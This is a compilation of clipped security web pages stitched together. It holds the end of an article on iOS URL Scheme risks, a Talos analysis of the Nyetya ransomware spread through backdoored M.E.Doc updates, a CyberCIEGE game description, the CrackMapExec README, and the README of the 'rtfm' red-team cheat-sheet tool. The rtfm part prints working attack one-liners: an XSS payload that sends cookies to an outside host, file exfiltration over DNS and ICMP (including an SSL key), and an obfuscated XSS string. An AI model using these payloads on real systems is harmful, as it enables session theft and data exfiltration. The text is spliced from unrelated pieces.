long term hope is that this presentation will help to improve awareness of
this issue in the Apple community.”

As usual, whenever someone is implementing a functionality for automation or
convenience, there can be a decisively negative impact on security and privacy
if potential vulnerabilities are not considered a priority in development.

“As customers want more and more ‘power-user’ features for iOS apps, it is
tempting for developers to implement URL Schemes too rapidly, and they forget
that these schemes are subject to inputs that could be as malicious as any
data input into a web application,” he emphasized.

Ross says he believes that with education and awareness efforts, developers
who are implementing URL Schemes will begin to make both security and privacy
as a priority, and that they will eventually shift to new techniques proposed
by Apple that are more secure by nature with the release iOS 8.

## Related Articles:

## Resources:

<img src='img/Temp2_969.png' alt='pic' />Check out Tripwire SecureScan™, a
free, cloud-based vulnerability management service for up to 100 Internet
Protocol \(IP\) addresses on internal networks. This new tool makes
vulnerability management easily accessible to small and medium-sized
businesses that may not have the resources for enterprise-grade security
technology – and it detects the Heartbleed vulnerability.

**<img src='img/Temp2_968.png' width='175' height='130' alt='pic' />The
Executive’s Guide to the Top 20 Critical Security Controls**

Tripwire has compiled an e-book, titled _The Executive’s Guide to the Top 20
Critical Security Controls: Key Takeaways and Improvement Opportunities_,
which is available for download \[registration form required\].

_Title image courtesy ofShutterStock_

Categories: Featured Articles, IT Security and Data Protection

Tags: Apple, application security, BSidesLV, developers, Guillaume Ross,
Information Security, Infosec, iOS URL Schemes, secure coding, Security
BSides, Software Assurance, training

* * *
### Leave a Reply Cancel reply

You must be logged in to post a comment.

###### About Anthony M Freed

# The MeDoc Connection

**Created:**| _7/17/2017 11:29:24 AM_  
---|---  
**Updated:**| _7/17/2017 11:29:24 AM_  
**Author:**| __  
**Tags:**| _cyber ransomware_  
  

  

###  The MeDoc Connection

_This Post Authored byDavid Maynor, Aleksandar Nikolic, Matt Olney, and Yves
Younan_  

###  Summary

The Nyetya attack was a destructive ransomware variant that affected many
organizations inside of Ukraine and multinational corporations with operations
in Ukraine. In cooperation with Cisco Advanced Services Incident Response,
Talos identified several key aspects of the attack. The investigation found a
supply chain-focused attack at M.E.Doc software that delivered a destructive
payload disguised as ransomware. By utilizing stolen credentials, the actor
was able to manipulate the update server for M.E.Doc to proxy connections to
an actor-controlled server. Based on the findings, Talos remains confident
that the attack was destructive in nature. The effects were broad reaching,
with Ukraine Cyber police confirming over 2000 affected companies in Ukraine
alone.  
  
  

###  Details

For Talos, June 27th, 2017, started with a message from our intelligence
partners in Ukraine. A massive ransomware attack was underway, and they were
asking for help. An organized attacker had the means to deliver arbitrary code
to users of the most popular accounting software in Ukraine, and that includes
multinational corporations that do business there. The actor in question chose
to use this capability to encrypt critical files and hard drives, with no way
to decrypt the software.  
  
Since the BlackEnergy attacks of late 2015, Talos has worked with public and
private organizations in Ukraine to respond to attacks in the region. Once
already this year, Talos has assisted organizations targeted by actors with
destructive intent. Interestingly, in those cases a wiper very similar to
prior BlackEnergy malware was deployed and, when that was blocked by our
Advanced Malware Protection \(AMP\) product, the actor fell back to using a
ransomware variant in an attempt to disrupt the organization’s activities.
With this recent history in mind, we were immediately concerned that there was
more to this story than just another ransomware attack.  

  

<img src='img/Screenshot+2017-07-04+11.03.09.png' width='400' height='207' />

Early on it became clear that, while a majority of the early events were in
Ukraine, the malware was infecting organizations that didn’t immediately have
any known connection to the country. Because of the scale of the event, Talos
initiated an internal response management system call TaCERS \(Talos Critical
Event Response System\) and began the research and response process. TaCERS
divides up activities into intelligence, telemetry analysis, reverse
engineering, communications and detection research. Talos researchers and
engineers from around the world came together to address this threat.

  

Based on endpoint telemetry, it was clear that a Ukranian accounting software
package called “M.E.Doc” was at the center of activity. Like WannaCry, there
were reports of an email vector. This is most likely because some of the
earliest infected machines had concurrent Lokibot infections with indications
of an email vector for that malware. After careful research Talos concluded
that for the delivery of the Nyetya malware, all installations came through
the M.E.Doc update system.

  

M.E.Doc is a widely deployed accounting package created by a Ukrainian company
named Intellect Service and that it was used to interact with Ukrainian tax
systems. At this point we were in a position to reach out to M.E.Doc directly
and offer assistance.

  

M.E.Doc was quick to accept an offer of assistance. As part of Cisco’s global
response to this event, two incident response specialists from the Advanced
Services group arrived in Ukraine on the evening of June 29th and an
additional incident response specialist supported the investigation from the
UK. M.E.Doc was exceptionally open in arranging access to engineers and
administrators who walked the team through the system and provided access to
log files and code. They also agreed to share the results of our investigation
for the purposes of this report.

  

In every Cisco incident response investigation, anywhere in the world, a
dedicated Talos resource is made available to the incident response team to
coordinate intelligence analysis, reverse engineering escalations and
telemetry analysis activities. The two teams work together constantly, and
that experience was put to full use in this investigation.

  

Early in the investigation, a web shell was discovered at http://www.me-
doc\[.\]com\[.\]ua/TESTUpdate/medoc\_online.php. The timestamp in the file was
May 31 14:45 2017. Our analysis shows the webshell to be a slightly modified
version of the open source PHP webshell PAS. The webshell is stored in an
encrypted form and requires a passphrase set in a HTTP POST variable to
decrypt. The decryption of the shell shows a fully featured PAS webshell.

  

<img src='img/nyetya_1.png' width='375' height='400' />

  

As the incident response team extracted logs and additional forensic data, it
was uploaded to Talos. This started a 24-hour cycle where at around 10am EDT,
when it was evening in Ukraine, the Cisco incident response team would brief
Talos on their findings and new data. Then at 3am EDT, as Ukraine was getting
to work, Talos would brief the Cisco incident response team on their overnight
findings.

Almost immediately, indications of problems were found. In the July 1st
briefing, Talos identified key evidence in the logs:  
  

8:57:46 AM | usc-cert sshd\[23183\]: subsystem request for sftp   
---|---  
8:59:09 AM | usc-cert su: BAD SU  to root on /dev/pts/0  
8:59:14 AM | usc-cert su:  to root on /dev/pts/0  
9:09:20 AM | \[emerg\] 23319\#0: unknown directive "" in /usr/local/etc/nginx/nginx.conf:3  
9:11:59 AM | \[emerg\] 23376\#0: location "/" is outside location "\\.\(ver|txt|exe|upd|rtf|cmnt\)$" in /usr/local/etc/nginx/nginx.conf:136  
  
An unknown actor had stolen the credentials of an administrator at M.E.Doc.
They logged into the server, acquired root privileges and then began modifying
the configuration file for the NGINX web server. We were unable to recover the
nginx.conf file, as it was subsequently overwritten, but additional log files
were important in understanding what was changed. What we found were thousands
of errors that looked like this:

> > \[error\] 23401\#0: \*374685644 upstream timed out \(60: Operation timed
> out\) while connecting to upstream, client: <REDACTED>, server: upd.me-
> doc.com.ua, request: "GET /last.ver?rnd=1b2eb092215b49f5b1d691b5c38e3a74
> HTTP/1.1", upstream:
> "http://176.31.182\[.\]167:80/last.ver?rnd=1b2eb092215b49f5b1d691b5c38e3a74",
> host: "upd.me-doc.com.ua"
The NGINX server had been reconfigured so that any traffic to upd.me-
doc.com.ua would be proxied through the update server and to a host in the OVH
IP space with an IP of 176.31.182.167. Subsequent investigation found that
this server was operated by a reseller, thcservers.com, and that the server
had been wiped the same day at 7:46 PM UTC.  
  
When we compare the time of the first and last upstream error messages on the
server to our in-field endpoint telemetry, we find that they bracket the
beginning and the end of the active infection phase of the event. The initial
log message was at 9:11:59 UTC and the last message was seen at 12:31:12 UTC.
In our telemetry we see no new organizations infected outside of this
timeframe.  
  
We found one other piece of forensic evidence showing that the event concluded
on or around 12:30 PM UTC. The file timestamp for nginx.conf at the time we
analyzed the servers was Jun 27th, 12:33 PM UTC. The actor had returned the
NGINX configuration to its original state at this time. There is only one
other indicator to share, which was a Latvian IP address that disconnected
from the system at 2:11:07 PM UTC:  

> Received disconnect from 159.148.186.214: 11: FlowSshClientSession:
> disconnected on user's request
M.E.Doc confirms that neither the OVH server nor the Latvian IP address have
any association with M.E.Doc.  
  
At this point we understood that the actor in question had access to much of
the network and many of the systems of M.E.Doc through compromised
credentials. The questions remaining were: What were they doing with control
of the upgrade server? How were they delivering the malicious software?  
  
While we didn’t know it at the time, we can now confirm ESET’s research into
the backdoor that had been inserted into the M.E.Doc software. The .net code
in ZvitPublishedObjects.dll had been modified on multiple occasions to allow
for a malicious actor to gather data and download and execute arbitrary code:  
  
Date | M.E.Doc Update Version  
---|---  
4/14/2017 | 10.01.175-10.01.176  
5/15/2017 | 10.01.180-10.01.181  
6/22/2017 | 10.01.188-10.01.189  
  
Looking further back in the logs provided by M.E.Doc, we could see the same
“upstream” activity on June 22nd. Unfortunately, we do not have logs available
for May or April, but it is reasonable to assume similar behavior occurs back
through those dates as well.  
<img src='img/Nyetya+Blog+Post+1%282%29.jpg' width='719' height='1408' />  
---  
Timeline  
###

###  
ZvitPublishedObjects.dll Backdoor Analysis

The backdoor was added to the
ZvitPublishedObjects.Server.UpdaterUtils.IsNewUpdate function in
ZvitPublishedObjects.dll:

<img src='img/IsNewUpdate2.PNG.png' width='640' height='312' />

> Between lines 278 and 279 on the left, we can see on the right that code was
> added to retrieve every organization’s EDRPOU and name. Then it creates a
> new MeCom object and a thread for it which will contact http://upd.me-
> doc\[.\]com.ua/last.ver?rnd=<GUID> every 2 minutes. It will also send any
> replies to this URL.  
  
If a proxy has been configured, when the MeCom object is created at line 288
on the right, it proceeds to retrieve the proxy’s host, port, username and
password:

<img src='img/MeComProxy.PNG.png' width='640' height='308' />

It then retrieves the SMTP host, username, password and email address for
every organization in the application’s database:

<img src='img/MeComySMTP.PNG.png' width='640' height='310' />

It also writes the previously collected proxy info to a registry key:
HKCU\SOFTWARE\WC. It stores the proxy username and password in the “Cred”
subkey and the full proxy information in “Prx”.  
  
At line 294 in IsNewUpdate is a call to meCom.CreateMeainThread. The code
creates a thread that performs the “MainAction”. This thread will continuously
query the request URL \(http://upd.me-doc\[.\]com.ua/last.ver?rnd=<GUID>\)
looking for commands and will then start a new thread per command to execute,
waiting a maximum of 10 minutes for the thread to complete. It will then send
back the result of the thread to the response url, which in this case is the
same as the request URL: http://upd.me-doc\[.\]com.ua/last.ver?rnd=<GUID>.  
  
The GetCommandsAndPeriod function will retrieve the commands from the web
request:

<img src='img/MeComGetCommands.PNG.png' width='640' height='274' />

When sending the request, it will pass along in cookies the EDRPOU and the
username that the program is running as. From the response, it will read the
first 8 bytes as the initialization vector for the encryption. The rest of the
data is encrypted with the TripleDes using a 24-character key: \x00 to \x17
\(i.e. characters 0 to 23\). It will decrypt, decompress and deserialize the
commands it has to execute. It will also retrieve information on how long it
should wait until the next time it goes to ask for commands \(this was
originally set to 2 minutes when the object was created\).

<img src='img/MeComSendAnswer.PNG.png' width='640' height='492' />

SendAnswer will send multiple web requests with a maximum of 2048 bytes each,
with the result of the executed command stored in cookies. It will encrypt
this data the same way as the received commands, using a random 8-byte IV and
the 24-character key 0-23.

  

These are the encryption and decryption functions:

<img src='img/ZvitCryptoIV.PNG.png' width='640' height='340' />

<img src='img/ZvitEncrypt.PNG.png' width='640' height='328' />

<img src='img/ZvitDecrypt.PNG.png' width='640' height='336' />

Finally, the Worker object \(see Line 372 of MainFunction\) handles executing
the commands. There are a total of 6 commands that Worker can execute.  

<img src='img/WorkerAutoPayload1.PNG.png' width='640' height='430' />  
This appears to be the mechanism used for delivering the Nyetya malware. The
command line arguments perfectly match what was observed in endpoint telemetry
when M.E.Doc machines executed the initial sample.  
<img src='img/Nyetya+Blog+Post+2.jpg' width='640' height='622' />  
---  
Detail of Commands  
###  What Now?

First we need to put together everything we know. In the past Talos has
observed an actor specifically targeting Ukrainian institutions attempt to use
the BlackEnergy wiper malware and, when that attempt was blocked, fall back to
using a ransomware variant as an acceptable replacement for a wiper. We’ve
also already documented in our previous blog that “Given the circumstances of
this attack, Talos assesses with high confidence that the intent of the actor
behind Nyetya was destructive in nature and not economically motivated.”
Finally, now that we can confirm that M.E.Doc was the installation vector, we
can assess that the targets for this attack were Ukraine and those
organizations that chose to conduct business with Ukraine.

  

Our Threat Intelligence and Interdiction team is concerned that the actor in
question burned a significant capability in this attack. They have now
compromised both their backdoor in the M.E.Doc software and their ability to
manipulate the server configuration in the update server.

  

In short, the actor has given up the ability to deliver arbitrary code to the
80% of UA businesses that use M.E.Doc as their accounting software, along with
any multinational corporations that leveraged the software. This is a
significant loss in operational capability, and the Threat Intelligence and
Interdiction team assesses with moderate confidence that it is unlikely that
they would have expended this capability without confidence that they now have
or can easily obtain similar capability in target networks of highest priority
to the threat actor.

  

Based on this, Talos is advising that any organization with ties to Ukraine
treat software like M.E.Doc and systems in Ukraine with extra caution since
they have been shown to be targeted by advanced threat actors. This includes
providing them a separate network architecture, increased monitoring and
hunting activities in those at-risk systems and networks and allowing only the
level of access absolutely necessary to conduct business. Patching and
upgrades should be prioritized on these systems and customers should move to
transition these systems to Windows 10, following the guidance from Microsoft
on securing those systems. Additional guidance for network security baselining
is available from Cisco as well. Network IPS should be deployed on connections
between international organizations and their Ukrainian branches and endpoint
protection should be installed immediately on all Ukrainian systems.

  

Talos places this attack in the supply-chain category. Rather than targeting
organizations directly, an actor compromises trusted hardware and software
vendors to deliver compromised assets to a high-priority environment. We
believe that these types of malicious capabilities are highly desired by
sophisticated actors. All vendors, regardless of size or geographic region,
must be increasingly vigilant. Find out more about how Cisco assures the
integrity of their products here.

  

For further coverage of the Nyetya incident, please refer to our previous blog
post.

###  Indicators of Compromise

####  SHA256

####  M.E.Doc ZvitPublishedObjects.dll files with backdoor:

  * f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740
  * d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac
  * 2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277

####  Nyetya Malware:

  * 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
  * 02ef73bd2458627ed7b397ec26ee2de2e92c71a0e7588f78734761d8edbdcd9f
  * eae9771e2eeb7ea3c6059485da39e77b8c0c369232f01334954fbac1c186c998

####  Malicious IP Addresses:

  * 176.31.182\[.\]167
  * 159.148.186\[.\]214

####  AMP Coverage

  * W32.Ransomware.Nyetya.Talos
  * W32.F9D6FE8BD8.Backdoor.Ransomware.Nyetya.Talos
  * W32.D462966166.Backdoor.Ransomware.Nyetya.Talos
  * W32.2FD2863D71.Backdoor.Ransomware.Nyetya.Talos
  * W32.02EF73BD24-95.SBX.TG
  * W32.GenericKD:Petya.20h1.1201

Posted by  Nick Biasini at 2:22 PM

Labels: APT, ransomware, wiper

Share This Post

<img src='img/10649_icon_fb-share_grey.svg' width='25' height='25'
alt='Facebook share' /> <img src='img/10650_icon_tw-share_grey.svg' width='25'
height='25' alt='Twitter share' /> <img src='img/10656_icon_re-share_grey.svg'
width='25' height='25' alt='Reddit share' /> <img src='img/10661_icon_em-
share_grey.svg' width='25' height='25' alt='Email This' />

  

  *[2:22 PM]: 2017-07-05T14:22:00-04:00

# ethernet-killer.jpg 622 × 293 Pixel

**Created:**| _7/14/2010 7:45:26 PM_  
---|---  
**Updated:**| _7/14/2010 7:45:39 PM_  
**Author:**| __  
**Tags:**| _reversing LOLZ awesome_  
  
<img src='img/Temp2_10184.jpg' />

# CyberCIEGE Educational Video Game

**Created:**| _5/22/2014 2:26:05 PM_  
---|---  
**Updated:**| _5/22/2014 2:26:05 PM_  
**Author:**| __  
**Tags:**| _awesome management awareness_  
  

# CyberCIEGE Educational Video Game

**CyberCIEGE**  
**_an innovative video game and tool to teach computer and network security
concepts_**  
  
CyberCIEGE enhances information assurance and cyber security education and
training through the use of computer gaming techniques such as those employed
in SimCity™. In the CyberCIEGE virtual world, users spend virtual money to
operate and defend their networks, and can watch the consequences of their
choices, while under attack.  
  
Cyber Security Simulation  
In its interactive environment, CyberCIEGE covers significant aspects of
computer and network security and defense. Players of this video game purchase
and configure workstations, servers, operating systems, applications, and
network devices. They make trade offs as they struggle to maintain a balance
between budget, productivity, and security. In its longer scenarios, users
advance through a series of stages and must protect increasingly valuable
corporate assets against escalating attacks.  
  
CyberCIEGE includes configurable firewalls, VPNs, link encryptors and access
control mechanisms. It includes identity management components such as
biometric scanners and authentication servers. Attack types include corrupt
insiders, trap doors, Trojan horses, viruses, denial of service, and
exploitation of weakly configured systems. Attacker motives to compromise
assets differ by asset and scenario, thereby supporting scenarios ranging from
e-mail attachment awareness to cyber warfare.  
  
Active Learning with CyberCIEGE  
This paper describes the game for educators and trainers who may want to
incorporate the game into their courses. Also see our notional syllabus.  
  
Development and Availability  
Development of CyberCIEGE was sponsored by the US Navy, the Naval Education
and Training Command, the Office of Naval Research, the Biometrics Task Force,
the Office of the Secretary of Defense, and the National Science Foundation.
Numerous NPS students have participated in tool and scenario development.  
  
CyberCIEGE is available at no cost to agencies of the US Government by
contacting cyberciege@nps.edu. Educational licenses are available at not cost
to educational institutions. Contact cyberciege@nps.edu. If you are a student,
ask your teacher to request the game. A free evaluation version of CyberCIEGE
is available here. The evaluation version has limited capabilities, e.g., you
cannot save games.  
  
You can customize and create your own scenarios using the Scenario Development
Kit.  
  
Questions? Visit our FAQ, or write to cyberciege@nps.edu  
  
Site Map  

# byt3bl33d3r/CrackMapExec

**Created:**| _6/29/2017 3:51:27 PM_  
---|---  
**Updated:**| _6/29/2017 3:51:27 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d322e372d626c75652e737667'
width='76' height='20' alt='Supported Python versions' /> <img
src='img/68747470733a2f2f63646e2e7261776769742e636f6d2f746f6f6c7377617463682f6261646765732f6d61737465722f617273656e616c2f323031362e737667'
width='142' height='20' alt='Arsenal_2016' /> <img
src='img/68747470733a2f2f63646e2e7261776769742e636f6d2f746f6f6c7377617463682f6261646765732f6d61737465722f617273656e616c2f323031372e737667'
width='146' height='20' alt='Arsenal_2017' />

# CrackMapExec

<img src='img/d312ceb4-5f3b-11e6-8de5-8822246289fd.jpg' width='340'
height='566' alt='cme' />

# Acknowledgments

**\(These are the people who did the hard stuff\)**

This project was originally inspired by:

  * smbmap
  * CredCrack
  * smbexec

Unintentional contributors:

  * The Empire project
  * @T-S-A's smbspider script

This repository contains the following repositories as submodules:

  * Impacket
  * Pywerview
  * PowerSploit
  * Invoke-Obfuscation
  * Invoke-Vnc
  * Mimikittenz
  * NetRipper
  * RandomPS-Scripts

# Documentation, Tutorials, Examples

See the project's wiki for documentation and usage examples

# Installation

Please see the installation wiki page here.

# To do

  * Kerberos support
  * ~~0wn everything~~

  

# leostat/rtfm

**Created:**| _6/29/2017 4:10:52 PM_  
---|---  
**Updated:**| _6/29/2017 4:10:52 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# What is it?

RTFM is a great and useful book, BUT a bit pointless when you have to
transcribe it, so this little program will aim to be the spiritual successor
to it.

I would recommend picking up a copy of the book from Amazon, it is pretty
handy to have\!

# Quick Start

[code]

     $ chmod +x rtfm.py
     $ ./rtfm.py -u
     $ ./rtfm.py -c 'rtfm'
    
[/code]

# Usage

[code]

    $ rtfm.py -h
    Usage: rtfm.py [OPTIONS]
    
    For when you just cant remember the syntax,  you should just RTFM
    
    Options:
      --version             show program's version number and exit
      -h, --help            show this help message and exit
      --delete=DELETE       Delete specified ID
      -t TAG, --tag=TAG     Specify one or more tags to look for (a, b, c)
      -c CMD, --cmd=CMD     Specify a command to search (ls)
      -R REMARK, --remark=REMARK
                            Search the comments feilds
      -r REFER, --reference=REFER
                            Search for the reference [reference]
      -a AUTHOR, --author=AUTHOR
                            Search for author
      -A DATE, --added-on=DATE
                            Search by date, useful for when you want to commit back!
      -p PRINTER, --print=PRINTER
                            Print Types : P(retty) p(astable) w(iki) h(tml) d(ump)
      -i INSERT, --insert=INSERT
                            Insert c(ommand) | t(ags) | r(eferances) |
                            (E)verything
      -D DUMP, --dump=DUMP  Just Dump infomration about
                            t(ags)|c(commands)|r(eferances)a(ll)
      -d, --debug           Display verbose processing details (default: False)
      -u, --update          Check for updates (default: false)
      -v                    Shows the current version number and the current DB
                            hash and exits
    
    Example: rtfm.py -c rtfm -t linux -R help -r git -pP -d
    
    
[/code]

Its pretty much a simple search program, nothing to fancy, examples include:

# Searching the DB

Searching the DB is handled through the following switches: t, c, R, r, a and,
A:

-c is search for a command. Use this when you know what command you want to look for, but can't quite remember the syntax. For example, if you want to quickly look up the syntax for a common sqlmap command. Useful for jumping straight to collections of common flags or one liners:
[code]

    19:54:root:rtfm: ./rtfm.py -pP -c 'sqlmap' 
    +----------------+--------------------------------------------------------------------------------------------------+
    | Added By @yght | Cmd ID : 162                                                                                     |
    +----------------+--------------------------------------------------------------------------------------------------+
    | Command        | /opt/sqlmap/sqlmap.py --exclude-sysdbs --eta --is-dba  --current-user --current-db --hostname -o |
    |                | -r sql1.txt                                                                                      |
    |                |                                                                                                  |
    | Comment        | SQLmap generic command                                                                           |
    | Tags           | sql injection                                                                                    |
    | Date added     | 2017-06-19                                                                                       |
    | References     | https://github.com/sqlmapproject/sqlmap/wiki/Usage                                               |
    +----------------+--------------------------------------------------------------------------------------------------+
    
[/code]

-t is search for a tag, tags are groups of similar commands, for example, XSS payloads. Use this when wanting a more generic search such as around flaws or around generic Windows commands:
[code]

    19:54:root:rtfm: ./rtfm.py -pP -t xss
    +----------------+------------------------------------------------------------------------------------+
    | Added By Innes | Cmd ID : 35                                                                        |
    +----------------+------------------------------------------------------------------------------------+
    | Command        | <script>i = new XMLHttpRequest(); i.open('GET', '[dest]' + document.cookie, true); |
    |                | i.send();</script>                                                                 |
    |                |                                                                                    |
    | Comment        | Grab the cookie                                                                    |
    | Tags           | web application                                                                    |
    |                | XSS                                                                                |
    |                | cookies                                                                            |
    | Date added     | 2017-06-19                                                                         |
    | References     | https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet                     |
    |                | https://excess-xss.com/                                                            |
    +----------------+------------------------------------------------------------------------------------+
    <snip>
    
[/code]

All the Tags known about can be shown through -Dt, Currently a few typos that
will be fixed in version 0.9.9:

[code]

     $ rtfm.py -Dt
     | linux |  | bash |  | text manipulation |  | cisco |  | networking |  | loop |  | pivoting |  | files |  | passwords |  | enumeration |  | user information |  | interesting |  | scanning |  | hp |  | brute |  | http |  | web application |  | XSS |  | cookies |  | metasploit |  | certificates |  | stealth |  | smb |  | MitM |  | dns |  | package management |  | reverse shells |  | Windows |  | perl |  | python |  | php |  | ruby |  | sql injection |  | mysql |  | shell |  | mssql |  | Oracle |  | users |  | wireless |  | wifi |  | configuration |  | av evasion |  | powershell |  | memory |  | impacket |  | filesystem |  | IIS |  | process management |  | privilege escalation |  | remote command shell |  | hashes |  | recon |  | cracking |  | nessus |  | subnets |  | packet capture |  | reference |  | web address |  | java |  | solaris |  | forensics |  | ldap |  | Anti Virus |  | GIT |  | interesting  |  | Cloud |  | RDP |  | shells |  | encryption |  | Troll |  | buffer overflow |  | mona |  | interseting |  | brute force |  | Apple |  | encoding |  | ascii |  | web app |  | Cyber Essentials |  | tools |  | code execution |  | jsp | 
    
[/code]

The next one you will want is -R, this is for searching for a 'remark' \(aka
comment, didn't want two c flags\), this is to search the comments field and
is more along the lines of searching for techniques or generic terms such as
'X11' or 'exfil':

[code]

    +----------------+------------------------------------------------------------------------------------+
    | Added By Innes | Cmd ID : 384                                                                       |
    +----------------+------------------------------------------------------------------------------------+
    | Command        | for line in `base64 -w 62 [file]`; do host $line.[hostname]; done                  |
    |                |                                                                                    |
    | Comment        | exfil file through DNS, may want to encrypt, also assuming you have a short domain |
    | Tags           | linux                                                                              |
    |                | bash                                                                               |
    |                | loop                                                                               |
    |                | interesting                                                                        |
    | Date added     | 2017-06-19                                                                         |
    | References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504                  |
    +----------------+------------------------------------------------------------------------------------+
    +----------------+--------------------------------------------------------------------------------------------------+
    | Added By Innes | Cmd ID : 386                                                                                     |
    +----------------+--------------------------------------------------------------------------------------------------+
    | Command        | ping -p 11010101010101010101010101010199 -c 1 -M do 127.0.0.1 -s 32; for line in `base64         |
    |                | sslfile.key | xxd -p -c 14`; do line2=`echo "11 $line 99" |tr -d ' '`; ping -p $line2 -c 1 -M do |
    |                | 127.0.0.1 -s 32; done; ping -p 11101010101010101010101010101099 -c 1 -M do 127.0.0.1 -s 32       |
    |                |                                                                                                  |
    | Comment        | Exfil over icmp                                                                                  |
    | Tags           | linux                                                                                            |
    |                | networking                                                                                       |
    |                | loop                                                                                             |
    |                | interesting                                                                                      |
    | Date added     | 2017-06-19                                                                                       |
    | References     | https://www.amazon.co.uk/Rtfm-Red-Team-Field-Manual/dp/1494295504                                |
    +----------------+--------------------------------------------------------------------------------------------------+
    +----------------+-----------------------------------------------------------------------------------------------+
    | Added By Innes | Cmd ID : 496                                                                                  |
    +----------------+-----------------------------------------------------------------------------------------------+
    | Command        | for line in $(tshark -r [pcap] -T fields -e data  | uniq | grep -v                            |
    |                | "......................................................" | sed s/.*11/11/g | grep "11.*99"  | |
    |                | sed s/11// | sed s/99$// | tr -d '\n' | sed s/0101010101010101010101010101/'\n'/g |sed        |
    |                | s/010101010101010101010101010//g); do echo $line | xxd -r  -p | base64 -d;echo                |
    |                | +++++++++++++++++++; done                                                                     |
    |                |                                                                                               |
    | Comment        | Convert exfil ICMP back to files from pcap                                                    |
    | Tags           | linux                                                                                         |
    |                | networking                                                                                    |
    |                | loop                                                                                          |
    | Date added     | 2017-06-19                                                                                    |
    | References     | https://ask.wireshark.org/questions/15374/dump-raw-packet-data-field-only                     |
    +----------------+-----------------------------------------------------------------------------------------------+
    
    
[/code]

These next two are aimed for when you wish to commit back, and wouldn't be
normally used:

-a is to search by author, for example, show things you have added: `./rtfm.py -a innes`
-A is 'Added on date', this can be one of yyyy-mm-dd, or now/today, most usefully for dumping out commands you have added to commit back to the git\!
[code]

    rtfm.py -A now
    ++++++++++++++++++++++++++++++
    Command ID : 469
    Command    : b
    
    Comment    : b
    Tags       : b
    Date Added : 2017-05-14
    Added By   : b
    References
    __________
    b
    ++++++++++++++++++++++++++++++
    
    rtfm.py -A 2017-05-14
    ++++++++++++++++++++++++++++++
    Command ID : 469
    Command    : b
    
    Comment    : b
    Tags       : b
    Date Added : 2017-05-14
    Added By   : b
    References
    __________
    b
    ++++++++++++++++++++++++++++++
    
    
[/code]

All of these search flags can be combinded to create a very specfic search
should you wish, shown here with debugging on:

[code]

    rtfm.py -c rtfm -a innes -t linux -R help -A 2017-05-10 -d
    [DEBUG]: Options Set: {'insert': None, 'remark': 'help', 'printer': None, 'dump': None, 'author': 'innes', 'cmd': 'rtfm', 'update': None, 'debug': True, 'tag': 'linux', 'date': '2017-05-10', 'delete': None, 'refer': None}
    [DEBUG]: S: SELECT c.cmdid, c.cmd, c.cmnt, c.date, c.author, group_concat(DISTINCT tc.tag), group_concat(DISTINCT ref) FROM tblcommand c JOIN tbltagmap tm ON tm.cmdid = c.cmdid JOIN tbltagcontent tc ON  tc.tagid = tm.tagid JOIN tblrefmap rm ON rm.cmdid = c.cmdid JOIN tblrefcontent rc on rc.id = rm.refid WHERE c.cmd LIKE ?  AND c.cmnt LIKE ?  AND c.author LIKE ?  AND c.date = ? GROUP BY c.cmdid  HAVING  group_concat(tc.tag) like ? 
    [DEBUG]: W: ['%rtfm%', '%help%', '%innes%', '2017-05-10', '%linux%']
    [DEBUG]: This Returned : [(1, 'rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P', 'Helpception, search for a command with two tags and a comment', '2017-05-10', 'Innes', 'linux', 'https://github.com/leostat/rtfm,https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html')]
    ++++++++++++++++++++++++++++++
    Command ID : 1
    Command    : rtfm.py -c [command] -t [tag],[tag] -C [comment] -p P
    
    Comment    : Helpception, search for a command with two tags and a comment
    Tags       : linux
    Date Added : 2017-05-10
    Added By   : Innes
    References
    __________
    https://github.com/leostat/rtfm
    https://necurity.co.uk/osprog/2017-02-27-RTFM-Pythonized/index.html
    ++++++++++++++++++++++++++++++
    
    
[/code]

# Updating your database

RTFM implements a simple text file format to pull in updates to the database,
these are shared VIA git, and implement a simple sha check to make sure they
have not been corrupt during download. The updates called by the command are
'safe' in the form they won't write over your DB, should you git pull, it
probably will overwrite your DB. If you are git cloning, you can move your
database to '/etc/rtfm/snips.db' to protect your database file.

[code]

    ./rtfm.py -u
    [WARNING]: No DB, please run rtfm -u
    [OK]: This may appear to hang. Run with debug to get more info
    [OK]: Program version information:
    [OK]: Your up to date :
    0.9.8
     Added A way of fixing typo's in the database 
     Added program version checking 
     Couple of code fixes
    DATE
    1 
    +++++++++++++++++++++++++++
    [OK]: Added Rows :1
    [OK]: Added a new tag and a tagmap
    [OK]: Added a new Ref and a refmap
    [OK]: Added a new Ref and a refmap
    [OK]: Added Rows :1
    [OK]: Added tags
    [OK]: Added a new tag and a tagmap
    [OK]: Added a new tag and a tagmap
    [OK]: Added a new Ref and a refmap
    [OK]: Added a new Ref and a refmap
    [OK]: Added Refs
    [OK]: Hopefully added lots of new commands
    [OK]: Parsed Line of update
    [OK]: Hopefully fixed lots of commands
    [OK]: Update complete
    
    
[/code]

The update process also now drags in errata for the local DB allowing me a
centralised way of neatly fixing the typos which have filtered into the DB.
These are set through
https://raw.githubusercontent.com/leostat/rtfm/master/updates/errata.txt. This
allows things to be 'fixed' without needing to remove anything from the
database.

# Inserting and committing back

Like all good cheatsheets, it is possible to add your own content to the
database. This is managed through the -i segment of the program. When adding
commands you must add them with comments, references, and tags. Else at the
moment, they will not be returned from the DB. Minor bug really. This is done
by adding all commands, along with their tags and references at once through
using -iE, Insert everything:

[code]

    9:41:root:rtfm: ./rtfm.py -iE
    Enter your command    : セ=ア[ミ=ウ],ハ=++ミ+ウ,ヘ=ホ[ミ+ハ],ア[ヘ+=ホ[ウ]+(ホ.ホ+ホ)[ウ]+ネ[ハ]+ヌ+セ+ア[ミ]+ヘ+ヌ+ホ[ウ]+セ][ヘ](ネ[ウ]+ネ[ミ]+ア[ハ]+セ+ヌ+"(ウ)")()
    Enter you comment     : Script alert(1) using Katakana 
    Enter Author          : Innes
    Enter a tag (blank for end) : xss
    Enter a tag (blank for end) : web application
    Enter a tag (blank for end) : 
